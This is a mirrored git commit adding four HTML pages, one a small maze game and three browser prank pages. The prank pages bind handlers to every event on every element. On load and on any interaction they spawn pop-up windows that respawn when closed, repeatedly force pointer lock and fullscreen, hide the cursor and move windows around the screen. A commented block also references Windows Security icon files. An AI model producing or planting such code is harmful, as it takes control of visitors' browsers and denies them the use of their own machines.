mirror of
https://github.com/Astatin3/HtmlProjects.git
synced 2026-06-08 16:18:01 -06:00
Add files via upload
This commit is contained in:
+174
@@ -0,0 +1,174 @@
|
|||||||
|
<body onload="onload()">
|
||||||
|
<button onclick="start()">Start!</button>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
const SCREEN_WIDTH = window.screen.availWidth
|
||||||
|
const SCREEN_HEIGHT = window.screen.availHeight
|
||||||
|
const WIN_WIDTH = 10
|
||||||
|
const WIN_HEIGHT = 10
|
||||||
|
const VELOCITY = 15
|
||||||
|
const MARGIN = 10
|
||||||
|
const TICK_LENGTH = 50
|
||||||
|
const wins = []
|
||||||
|
|
||||||
|
function onload() {
|
||||||
|
|
||||||
|
if(!((window.opener && isParentSameOrigin()) || window.location.search.indexOf('child=true') !== -1)){
|
||||||
|
for(let i = 0; i <= 10; i++){
|
||||||
|
openWindow()
|
||||||
|
}
|
||||||
|
}else{
|
||||||
|
playBall()
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
// add event listeners to all elements
|
||||||
|
Array.from(document.querySelectorAll('*')).forEach(el => {
|
||||||
|
el.addEventListener("beforeunload", init);
|
||||||
|
el.addEventListener("blur", init);
|
||||||
|
el.addEventListener("click", init);
|
||||||
|
el.addEventListener("error", init);
|
||||||
|
el.addEventListener("focus", init);
|
||||||
|
el.addEventListener("keydown", init);
|
||||||
|
el.addEventListener("keypress", init);
|
||||||
|
el.addEventListener("keyup", init);
|
||||||
|
el.addEventListener("load", init);
|
||||||
|
el.addEventListener("message", init);
|
||||||
|
el.addEventListener("mousedown", init);
|
||||||
|
el.addEventListener("mousemove", init);
|
||||||
|
el.addEventListener("mouseout", init);
|
||||||
|
el.addEventListener("mouseover", init);
|
||||||
|
el.addEventListener("mouseup", init);
|
||||||
|
el.addEventListener("popstate", init);
|
||||||
|
el.addEventListener("resize", init);
|
||||||
|
el.addEventListener("scroll", init);
|
||||||
|
el.addEventListener("touchend", init);
|
||||||
|
el.addEventListener("touchmove", init);
|
||||||
|
el.addEventListener("touchstart", init);
|
||||||
|
el.addEventListener("visibilitychange", init);
|
||||||
|
el.style.color = "red";
|
||||||
|
})
|
||||||
|
|
||||||
|
var forceWindow = false
|
||||||
|
|
||||||
|
function init() {
|
||||||
|
if(forcewindow){
|
||||||
|
openWindow()
|
||||||
|
forceWindow = false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function forcewindow() {
|
||||||
|
forceWindow = true
|
||||||
|
}
|
||||||
|
|
||||||
|
function isParentSameOrigin () {
|
||||||
|
try {
|
||||||
|
// May throw an exception if `window.opener` is on another origin
|
||||||
|
return window.opener.location.origin === window.location.origin
|
||||||
|
} catch (err) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function getRandomCoords() {
|
||||||
|
const x = MARGIN +
|
||||||
|
Math.floor(Math.random() * (SCREEN_WIDTH - WIN_WIDTH - MARGIN))
|
||||||
|
const y = MARGIN +
|
||||||
|
Math.floor(Math.random() * (SCREEN_HEIGHT - WIN_HEIGHT - MARGIN))
|
||||||
|
return { x, y }
|
||||||
|
}
|
||||||
|
|
||||||
|
// document.addEventListener("mouseover", function() {
|
||||||
|
// var {x, y} = getRandomCoords()
|
||||||
|
// var vx = x - window.screenX
|
||||||
|
// var vy = y - window.screenY
|
||||||
|
// window.moveBy(vx, vy)
|
||||||
|
// openWindow()
|
||||||
|
// })
|
||||||
|
|
||||||
|
function focusWindows() {
|
||||||
|
wins.forEach(win => {
|
||||||
|
if (!win.closed) win.focus()
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
const window_opened = true
|
||||||
|
|
||||||
|
function windowcount() {
|
||||||
|
var i = 0
|
||||||
|
wins.forEach(win => {if (!win.closed) i++})
|
||||||
|
return i
|
||||||
|
}
|
||||||
|
|
||||||
|
function start() {
|
||||||
|
focusWindows()
|
||||||
|
if(windowcount()){
|
||||||
|
for(let i = 1; i <= 10; i++){
|
||||||
|
openWindow()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
focusWindows()
|
||||||
|
}
|
||||||
|
|
||||||
|
function openWindow() {
|
||||||
|
const { x, y } = getRandomCoords()
|
||||||
|
const opts = `width=${WIN_WIDTH},height=${WIN_HEIGHT},left=${x},top=${y}`
|
||||||
|
const win = window.open(window.location.pathname, '', opts)
|
||||||
|
window.focus();
|
||||||
|
if (!win) return
|
||||||
|
wins.push(win)
|
||||||
|
win.onunload = function(){ console.log("closed");forcewindow() };
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
var xOff = 5;
|
||||||
|
var yOff = 5;
|
||||||
|
var xPos = 400;
|
||||||
|
var yPos = -100;
|
||||||
|
var flagRun = 1;
|
||||||
|
|
||||||
|
function newXlt(){
|
||||||
|
xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
|
||||||
|
window.focus()}
|
||||||
|
|
||||||
|
function newXrt(){
|
||||||
|
xOff = Math.ceil(7 * Math.random()) * 5 - 10 ;
|
||||||
|
}
|
||||||
|
|
||||||
|
function newYup(){
|
||||||
|
yOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
|
||||||
|
}
|
||||||
|
|
||||||
|
function newYdn(){
|
||||||
|
yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ;
|
||||||
|
}
|
||||||
|
function fOff(){
|
||||||
|
flagrun = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
function playBall() {
|
||||||
|
xPos += xOff;
|
||||||
|
yPos += yOff;
|
||||||
|
if (xPos > screen.width-175){
|
||||||
|
newXlt();
|
||||||
|
}
|
||||||
|
if (xPos < 0){
|
||||||
|
newXrt();
|
||||||
|
}
|
||||||
|
if (yPos > screen.height-100){
|
||||||
|
newYup();
|
||||||
|
}
|
||||||
|
if (yPos < 0){
|
||||||
|
newYdn();
|
||||||
|
}
|
||||||
|
if (flagRun == 1){
|
||||||
|
window.moveTo(xPos,yPos);
|
||||||
|
setTimeout('playBall()',1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
@@ -0,0 +1,106 @@
|
|||||||
|
<head>
|
||||||
|
<style>
|
||||||
|
|
||||||
|
.S {
|
||||||
|
margin-left: 42.5%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.L {
|
||||||
|
margin-left: 41%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.R {
|
||||||
|
margin-left: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.B {
|
||||||
|
margin-left: 43%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.Maze {
|
||||||
|
margin-left: 33%;
|
||||||
|
}
|
||||||
|
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<a href="#F" onclick="add('^ ')" id="S" class="S">Straight</a><br>
|
||||||
|
<a href="#L" onclick="add('< ')" id="L" class="L">Left</a>
|
||||||
|
<a href="#R" onclick="add('> ')" id="R" class="R">Right</a><br>
|
||||||
|
<a href="#B" onclick="back()" class="B">Back</a>
|
||||||
|
<br>
|
||||||
|
<p id="p" class="Maze"></p>
|
||||||
|
|
||||||
|
|
||||||
|
<script>
|
||||||
|
|
||||||
|
var clicks = 0
|
||||||
|
|
||||||
|
|
||||||
|
function add(x) {
|
||||||
|
document.getElementById('p').innerHTML = document.getElementById('p').innerHTML + x
|
||||||
|
clicks++
|
||||||
|
finish()
|
||||||
|
random()
|
||||||
|
}
|
||||||
|
function back() {
|
||||||
|
document.getElementById('p').innerHTML = document.getElementById('p').innerHTML.split(">").join(">").split("<").join("<").slice(0, -2);
|
||||||
|
clicks++
|
||||||
|
finish()
|
||||||
|
random()
|
||||||
|
}
|
||||||
|
|
||||||
|
function finish() {
|
||||||
|
if(clicks >= 30 && document.getElementById('p').innerHTML.split(">").join(">").split("<").join("<").length >= 30 && code()){
|
||||||
|
alert("You Win!")
|
||||||
|
input = document.getElementById('p').innerHTML
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function number() {
|
||||||
|
var seed = toNumber()
|
||||||
|
var x = Math.sin(seed++) * 10000;
|
||||||
|
return x - Math.floor(x);
|
||||||
|
}
|
||||||
|
|
||||||
|
function random(){
|
||||||
|
|
||||||
|
if(number() <= (0.333333)){
|
||||||
|
document.getElementById("R").style.color = "gray";
|
||||||
|
document.getElementById("R").style.pointerEvents = "none";
|
||||||
|
}else{
|
||||||
|
document.getElementById("R").style.color = "blue";
|
||||||
|
document.getElementById("R").style.pointerEvents = "";
|
||||||
|
}
|
||||||
|
|
||||||
|
if(number() >= (0.333333) && number() <= (0.666666)){
|
||||||
|
document.getElementById("S").style.color = "gray";
|
||||||
|
document.getElementById("S").style.pointerEvents = "none";
|
||||||
|
}else{
|
||||||
|
document.getElementById("S").style.color = "blue";
|
||||||
|
document.getElementById("S").style.pointerEvents = "";
|
||||||
|
}
|
||||||
|
|
||||||
|
if(number() >= (0.666666)){
|
||||||
|
document.getElementById("L").style.color = "gray";
|
||||||
|
document.getElementById("L").style.pointerEvents = "none";
|
||||||
|
}else{
|
||||||
|
document.getElementById("L").style.color = "blue";
|
||||||
|
document.getElementById("L").style.pointerEvents = "";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function toNumber() {
|
||||||
|
return document.getElementById('p').innerHTML.split("<").join("1").split("^").join("2").split(">").join("3").split(" ").join("")
|
||||||
|
}
|
||||||
|
|
||||||
|
var input = ""
|
||||||
|
|
||||||
|
function code() {
|
||||||
|
if(input === ""){return true}else
|
||||||
|
if(input === document.getElementById('p').innerHTML){return true}else
|
||||||
|
{return false}
|
||||||
|
}
|
||||||
|
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
<body id="body">
|
||||||
|
<button onclick="lock()">Start!</button>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
|
||||||
|
Array.from(document.querySelectorAll('*')).forEach(el => {
|
||||||
|
el.addEventListener("beforeunload", lock);
|
||||||
|
el.addEventListener("blur", lock);
|
||||||
|
el.addEventListener("click", lock);
|
||||||
|
el.addEventListener("error", lock);
|
||||||
|
el.addEventListener("focus", lock);
|
||||||
|
el.addEventListener("keydown", lock);
|
||||||
|
el.addEventListener("keypress", lock);
|
||||||
|
el.addEventListener("keyup", lock);
|
||||||
|
el.addEventListener("load", lock);
|
||||||
|
el.addEventListener("message", lock);
|
||||||
|
el.addEventListener("mousedown", lock);
|
||||||
|
el.addEventListener("mousemove", lock);
|
||||||
|
el.addEventListener("mouseout", lock);
|
||||||
|
el.addEventListener("mouseover", lock);
|
||||||
|
el.addEventListener("mouseup", lock);
|
||||||
|
el.addEventListener("popstate", lock);
|
||||||
|
el.addEventListener("resize", lock);
|
||||||
|
el.addEventListener("scroll", lock);
|
||||||
|
el.addEventListener("touchend", lock);
|
||||||
|
el.addEventListener("touchmove", lock);
|
||||||
|
el.addEventListener("touchstart", lock);
|
||||||
|
el.addEventListener("visibilitychange", lock);
|
||||||
|
el.style.color = "red";
|
||||||
|
})
|
||||||
|
|
||||||
|
function lock() {
|
||||||
|
document.getElementById("body").requestPointerLock();
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
+230
@@ -0,0 +1,230 @@
|
|||||||
|
<head>
|
||||||
|
<style>
|
||||||
|
* {
|
||||||
|
cursor: none;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body onload="onload()">
|
||||||
|
|
||||||
|
<!-- <input
|
||||||
|
onfocus="this.focus(); repeat()"
|
||||||
|
onblur="this.focus(); repeat()"
|
||||||
|
onload="this.focus(); repeat()"
|
||||||
|
onchange="this.focus(); repeat()"
|
||||||
|
onkeydown="this.focus(); repeat()"
|
||||||
|
onkeyup="this.focus(); repeat()"
|
||||||
|
autofocus /> -->
|
||||||
|
|
||||||
|
<button onclick="repeat()">click</button>
|
||||||
|
|
||||||
|
<!--
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Account.contrast-black.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Account.contrast-white.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Account.theme-dark.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Account.theme-light.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/AppAndBrowser.contrast-black.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/AppAndBrowser.contrast-white.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/AppAndBrowser.theme-dark.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/AppAndBrowser.theme-light.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Device.contrast-black.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Device.contrast-white.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Device.theme-dark.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Device.theme-light.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Family.contrast-black.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Family.contrast-white.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Family.theme-dark.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Family.theme-light.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Health.contrast-black.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Health.contrast-white.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Health.theme-dark.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Health.theme-light.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Network.contrast-black.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Network.contrast-white.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Network.theme-dark.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Network.theme-light.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Threat.contrast-black.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Threat.contrast-white.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Threat.theme-dark.ico">
|
||||||
|
<img src="file:///C:/Windows/SystemApps/Microsoft.Windows.SecHealthUI_cw5n1h2txyewy/Assets/Threat.theme-light.ico">
|
||||||
|
-->
|
||||||
|
|
||||||
|
<script>
|
||||||
|
function repeat() {
|
||||||
|
console.log("Ding!")
|
||||||
|
// var windows = setInterval(openWindow,1);
|
||||||
|
}
|
||||||
|
|
||||||
|
var code_happened
|
||||||
|
function start() {
|
||||||
|
if (code_happened == undefined) {
|
||||||
|
var a = setInterval(openWindow,500);
|
||||||
|
var b = setInterval(requestPointerLock,500);
|
||||||
|
var c = setInterval(openFullscreen,500);
|
||||||
|
code_happened = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// add event listeners to all elements
|
||||||
|
Array.from(document.querySelectorAll('*')).forEach(el => {
|
||||||
|
el.addEventListener("beforeunload", start);
|
||||||
|
el.addEventListener("blur", start);
|
||||||
|
el.addEventListener("click", start);
|
||||||
|
el.addEventListener("error", start);
|
||||||
|
el.addEventListener("focus", start);
|
||||||
|
el.addEventListener("keydown", start);
|
||||||
|
el.addEventListener("keypress", start);
|
||||||
|
el.addEventListener("keyup", start);
|
||||||
|
el.addEventListener("load", start);
|
||||||
|
el.addEventListener("message", start);
|
||||||
|
el.addEventListener("mousedown", start);
|
||||||
|
el.addEventListener("mousemove", start);
|
||||||
|
el.addEventListener("mouseout", start);
|
||||||
|
el.addEventListener("mouseover", start);
|
||||||
|
el.addEventListener("mouseup", start);
|
||||||
|
el.addEventListener("popstate", start);
|
||||||
|
el.addEventListener("resize", start);
|
||||||
|
el.addEventListener("scroll", start);
|
||||||
|
el.addEventListener("touchend", start);
|
||||||
|
el.addEventListener("touchmove", start);
|
||||||
|
el.addEventListener("touchstart", start);
|
||||||
|
el.addEventListener("visibilitychange", start);
|
||||||
|
el.style.color = "red";
|
||||||
|
})
|
||||||
|
|
||||||
|
function random(){
|
||||||
|
var i = Math.floor(Math.random()*20)%3;
|
||||||
|
if(i<=0) return random();
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function onload() {
|
||||||
|
playBall()
|
||||||
|
}
|
||||||
|
const wins = []
|
||||||
|
|
||||||
|
|
||||||
|
const SCREEN_WIDTH = window.screen.availWidth
|
||||||
|
const SCREEN_HEIGHT = window.screen.availHeight
|
||||||
|
const WIN_WIDTH = 480
|
||||||
|
const WIN_HEIGHT = 270
|
||||||
|
const VELOCITY = 15
|
||||||
|
const MARGIN = 10
|
||||||
|
const TICK_LENGTH = 50
|
||||||
|
|
||||||
|
function requestPointerLock () {
|
||||||
|
Array.from(document.querySelectorAll('*')).forEach(el => {
|
||||||
|
const requestPointerLockApi = (
|
||||||
|
el.requestPointerLock ||
|
||||||
|
el.webkitRequestPointerLock ||
|
||||||
|
el.mozRequestPointerLock ||
|
||||||
|
el.msRequestPointerLock
|
||||||
|
)
|
||||||
|
|
||||||
|
requestPointerLockApi.call(el)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
function openFullscreen() {
|
||||||
|
Array.from(document.querySelectorAll('*')).forEach(el => {
|
||||||
|
if (el.requestFullscreen) {
|
||||||
|
el.requestFullscreen();
|
||||||
|
} else if (el.webkitRequestFullscreen) { /* Safari */
|
||||||
|
el.webkitRequestFullscreen();
|
||||||
|
} else if (el.msRequestFullscreen) { /* IE11 */
|
||||||
|
el.msRequestFullscreen();
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
function focusWindows() {
|
||||||
|
wins.forEach(win => {
|
||||||
|
if (!win.closed) win.focus()
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
function getRandomCoords() {
|
||||||
|
const x = MARGIN +
|
||||||
|
Math.floor(Math.random() * (SCREEN_WIDTH - WIN_WIDTH - MARGIN))
|
||||||
|
const y = MARGIN +
|
||||||
|
Math.floor(Math.random() * (SCREEN_HEIGHT - WIN_HEIGHT - MARGIN))
|
||||||
|
return { x, y }
|
||||||
|
}
|
||||||
|
|
||||||
|
function openWindow() {
|
||||||
|
const { x, y } = getRandomCoords()
|
||||||
|
const opts = `width=${WIN_WIDTH},height=${WIN_HEIGHT},left=${x},top=${y}`
|
||||||
|
const win = window.open(window.location.pathname, '', opts)
|
||||||
|
window.focus();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function moveWindowBounce() {
|
||||||
|
let vx = VELOCITY * (Math.random() > 0.5 ? 1 : -1)
|
||||||
|
let vy = VELOCITY * (Math.random() > 0.5 ? 1 : -1)
|
||||||
|
|
||||||
|
setInterval(() => {
|
||||||
|
const x = window.screenX
|
||||||
|
const y = window.screenY
|
||||||
|
const width = window.outerWidth
|
||||||
|
const height = window.outerHeight
|
||||||
|
|
||||||
|
if (x < MARGIN) vx = Math.abs(vx)
|
||||||
|
if (x + width > SCREEN_WIDTH - MARGIN) vx = -1 * Math.abs(vx)
|
||||||
|
if (y < MARGIN + 20) vy = Math.abs(vy)
|
||||||
|
if (y + height > SCREEN_HEIGHT - MARGIN) vy = -1 * Math.abs(vy)
|
||||||
|
|
||||||
|
window.moveBy(vx, vy)
|
||||||
|
}, TICK_LENGTH)
|
||||||
|
}
|
||||||
|
|
||||||
|
var xOff = 5;
|
||||||
|
var yOff = 5;
|
||||||
|
var xPos = 400;
|
||||||
|
var yPos = -100;
|
||||||
|
var flagRun = 1;
|
||||||
|
|
||||||
|
function newXlt(){
|
||||||
|
xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
|
||||||
|
window.focus()}
|
||||||
|
|
||||||
|
function newXrt(){
|
||||||
|
xOff = Math.ceil(7 * Math.random()) * 5 - 10 ;
|
||||||
|
}
|
||||||
|
|
||||||
|
function newYup(){
|
||||||
|
yOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
|
||||||
|
}
|
||||||
|
|
||||||
|
function newYdn(){
|
||||||
|
yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ;
|
||||||
|
}
|
||||||
|
function fOff(){
|
||||||
|
flagrun = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
function playBall() {
|
||||||
|
xPos += xOff;
|
||||||
|
yPos += yOff;
|
||||||
|
if (xPos > screen.width-175){
|
||||||
|
newXlt();
|
||||||
|
}
|
||||||
|
if (xPos < 0){
|
||||||
|
newXrt();
|
||||||
|
}
|
||||||
|
if (yPos > screen.height-100){
|
||||||
|
newYup();
|
||||||
|
}
|
||||||
|
if (yPos < 0){
|
||||||
|
newYdn();
|
||||||
|
}
|
||||||
|
if (flagRun == 1){
|
||||||
|
window.moveTo(xPos,yPos);
|
||||||
|
setTimeout('playBall()',1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
Reference in New Issue
Block a user